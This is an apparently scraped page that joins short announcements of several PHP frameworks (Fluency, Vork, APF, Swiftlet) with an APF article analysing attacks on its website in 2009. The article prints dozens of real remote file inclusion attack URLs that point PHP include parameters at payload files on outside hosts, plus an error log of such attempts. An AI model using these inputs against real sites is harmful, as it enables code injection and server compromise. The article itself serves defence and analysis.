The Fluency framework is a minimalistic web framework for PHP 5.3. Its only purpose is dispatching HTTP requests and providing the developer a way to handle them following the MVC architectural pattern. Hierarchical MVC (HMVC) is supported out of the box, meaning that separate sections of the served content can be provided by multiple controllers.
Fluency takes some inspiration from functional programming. Actions (controllers), views and action filters are all internally represented as functions. This provides many advantages, for example, views can be composed like mathematical functions: compare the function composition f(g(x)) with the composite renderer "layout + post".
Because actions (controllers) are also functions and can only return a single value, the use of hierarchical MVC, that is, using separate actions to provide separate sections of the content, is highly encouraged, also helping to achieve a proper separation of concerns.
Generally, Fluency favors convention over configuration, but the conventions are not hard-coded and can be easily changed. The resolution of action, view and action filter names is a responsibility of resolvers, which are, again, functions, which reside in the application bootstrap script and can be easily replaced.
As already mentioned, Fluency aims to be lightweight and avoids reinventing the wheel by including only the most basic functionality, that is, request dispatching, URL routing, rendering and action filtering. If that matches your attitude towards web frameworks, you should definitely give Fluency a try!
Vork is an open-source PHP framework designed for rapid development of performance-oriented scalable applications.
The mission of Vork is to provide an MVC architecture and full-featured toolkit in a gimmick-free no-frills approach without adding overhead, creating slow & unscalable abstraction layers or re-inventing native PHP functionality.
In 2009, a drastic increase of XSS and code injection attacks could be recognized on the APF web site. Analyzing the log files, we found 92,334 known attacks that were catched by the framework and a total number of 672,152 attacks.
The APF Security Promise: Use the APF and profit by its security mechanisms! From scratch securely designed applications prevent the compromise of your system, guarantee the safety of your users data and of your reputation and let you put your mind at ease.
This article describes, which mechanisms are included in the APF to face this danger and to secure your custom application.
As described in the article Hacking & das APF (German), most of the attacks are XSS and code injection attacks. They try to exploit vulnerabilities to inject third party content or code into the target application. Fortunately, the signature of these attacks is similar in 95% of the attacks. Here is the pattern description:
Merely, the name of the parameter differs from request to request:
The subsequent code box contains a selection of urls, that have been used to display third party content on the APF web page or to inject third party code into the APF:
1/!rfihttp://www.nicheresaleprofits.com/cbmarketer/image/id?? /!scan23http://sito.blackdrag0n.net/Cartoon/idnew.txt? /%20%20//////?_SERVER[DOCUMENT_ROOT]=http://www.koreadefence.net/data/shirohige/zfxid.txt?? /%20%20//?_shop_path=http://emwave.knu.ac.kr/bbs/skin/happycast_category_brown/fx29id.txt??? /%20%20//?mosconfig_absolute_path=http://largeface.com/gnuboard4/gnus/fxid.txt? /%20%20//inc/functions_inc.php?gb_pfad=http://82.146.51.16/scan/copyright.txt?? /%20%20//includes/DProtect/Framework/EmailTemplates.class.php?GLOBALS[RootPath]=http://www.junggosum.com/bbs/data/sports_2/idxx.txt?? /%20%20//modules/Forums/admin/index.php?phpbb_root_path=http://n34.biz/id1.txt??? /%20%20//tools/send_reminders.php?noSet=0&includedir=http://jnhsolutions.com.au/datingsite/temp/userimages/1.txt?? /%20%20/e404.php?DOCUMENT_ROOT=http://alandar.net/www2/log1.txt? /?mosConfig_absolute_path=http://MiNgOnIsHoW.altervista.org/ArEa511/ideal.txt???? /?dir_ws=http://champrond-en-gatine.org//administrator/components/com_joomla-visites/core/include/updates/v6id.txt?????? /?_zb_path=http://kb27.co.kr/bbs///data/cok.txt?? /tools/send_reminders.php?includedir=http://208.98.22.241/id.txt??%0D?? /?autoLoadConfig[999][0][autoType]=include&autoLoadConfig[999][0][loadFile]=http://204.3.167.134/xxx? /modules/My_eGallery/index.php?basepath=http://urogyn.co.kr/uro/install/idxx.txt?? /show_news.php?cutepath=http://laloggia.by.ru/up/ctrl.txt?? /skin/zero_vote/setup.php?dir=http://206.126.97.21/~talagaho/id.txt??? /Neos_Chronos/header.php?base_folder=http://www.jocainmo.es/img/.z/d?? /buscar.php?query=http://www.candidography.com/id1.txt?? /?_PHPLIB[libdir]=http://cdshop.net.ru////cron/hjr.txt?? /inc/cmses/aedating4CMS.php?dir[inc]=http://daiyangmetal.co.kr/intranet/zb/skin/ggambo5100_gallery//colby/id.txt?? /naboard_pnr.php?skin=http://www.cinepopbrasil.com.br/sistem.txt??? /phpSecurePages/secure.php?&cfgProgDir=http://www.steannareptile.it//administrator/idi.txt??? /phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=http://tdaa.by.ru/safe.txt??? /skin/ggambo7002_board/contact.php?dir=http://hana.nef-i.co.kr/pds/zfxid1.txt?? /jahoot.com/search.php?=http://www.chicagofc.co.kr/fitness/data/come/fx29id1.txt?? /PNphpBB2/includes/functions_admin.php?phpbb_root_path=http://laloggia.by.ru/up/ctrl.txt?? /components/com_htmlarea3_xtd-c/popups/ImageManager/config.inc.php?http://musicadelibreria.net/footer?? /Page//wp-content/plugins/dm-albums/template/album.php?SECURITY_FILE=http://kb27.co.kr/bbs///data/cok.txt??
The files xss_report_2009_with_urls_grouped.txt.gz and xss_report_2009_with_urls_uniq.txt.gz contain a variety of urls, that have been used during 2009 attacks. xss_report_2009_with_urls_uniq.txt.gz contains a complete list of urls, xss_report_2009_with_urls_grouped.txt.gz contains a grouped list with identical base urls.
After having checked Apache’s access logfiles, we started to analyze the application log files. This effort resulted in 3 groups of attacks. All of them tried to manipulate the url to inject content or code to the application:
1parse_url(/Seite/048-Webseite-erstellen%20%20/page.php?doc=http://unixstats.org/tools/idxx.txt??): Unable to parse URL (Number: 2, File: ***/apps/tools/link/frontcontrollerLinkHandler.php, Line: 306) [Document::__loadContentFromFile()] Design "Seite" not existent in namespace "modules::comments::pres::templates"! Please check your template code (<29e6fe038415c51c1bbac0271949edf5 /><a name="comments"></a><h2><html:getstring namespace="modules::comments" config="language" entry="header.title" /></h2><68a3d33630357505bfe4dd96dbcb492e />). (Number: 256, File: ***/apps/core/pagecontroller/pagecontroller.php, Line: 1378) [Frontcontroller::__parseActions()] No config section for action key "setLangu" available in configuration file "***_actionconfig.ini" in namespace "sites::demosite::biz::actions" and context "sites::***"! (Number: 256, File: ***/apps/core/frontcontroller/Frontcontroller.php, Line: 555)
The first line is a try-out to inject external code. If the offender would have been successful, the code is used to spy out information about the webserver and the application running on the machine. Subsequent request are then used to explicitly manipulate the application and the content.
In case the developer uses URL rewriting, such attacks ara quite worthless, because the InputFilter rewrites the url to a generic param value couple.
In case the developer uses the APF components like the LinkHandler or the FrontcontrollerLinkHandler, urls like presented above are recognized semantically invalid and an error is thrown. This error can be caugth and logged by the integrated Error handling very easily.
The second line describes the attempt to manipulate a known parameter of the application to display third party content. Potentially, the APF offers the chance to manipulare the template included by the <core:importdesign /> taglib by changing the url, but the template path is created with security in mind.
In the third line the attacker tries to manipulate a param of a front controller action to execute the desired action. Within the APF, actions are defined within a configuration file and the url params only refer to this configuration. Hence, it is not possible to successfully manipulate an action call by url.
In order to not provide much information to the attacker, it is recommended to implement a special ErrorHandler that logs the upcoming errors to a log file and keeps quiet on the cause of the error.
The wiki page Script kiddies ErrorHandler (German) describes, how you can implement such a ErrorHandler.
The APF team is proud to anounce the new website together with the 1.11 stable release.
Revision 1.11 comes up with a revised version of the form support on the basis of taglibs. Now generic definition of validators and filters on the basis of the observer pattern is supported and forms can be easier adjusted to own needs.
The OR mapper GenericORMapper, already added in the release 1.9, was extended with tools to automatically setup and update a database. Now the developer can completely concentrate on the development of the logic of the application since the storage of the objects is completely managed by the mapper.
Part of the release’s performance optimization were optimizations in the core of the frameworks and the rework of the integrated BenchmarkTimer. It now supplies the developer with a better graphical representation of the measurements to find hot spots within an application. Thus an application can be optimally prepared for operation.
With release of version 1.11 the support for PHP 4 has been announced for discontinuation and the compatibility with PHP 5.3 has been improved. The coming version 1.12 will focus on the extension of the new form support and the rework of the configuration component.
The new release files can be downloaded from http://adventure-php-framework.org/Page/008-Downloads.
I’d like to introduce a new framework called Swiftlet (PHP5, OOP, MVC):
http://swiftlet.org
Please see the Wikipedia page for more information:
http://en.wikipedia.org/wiki/Swiftlet_PHP_Framework
Cheers.
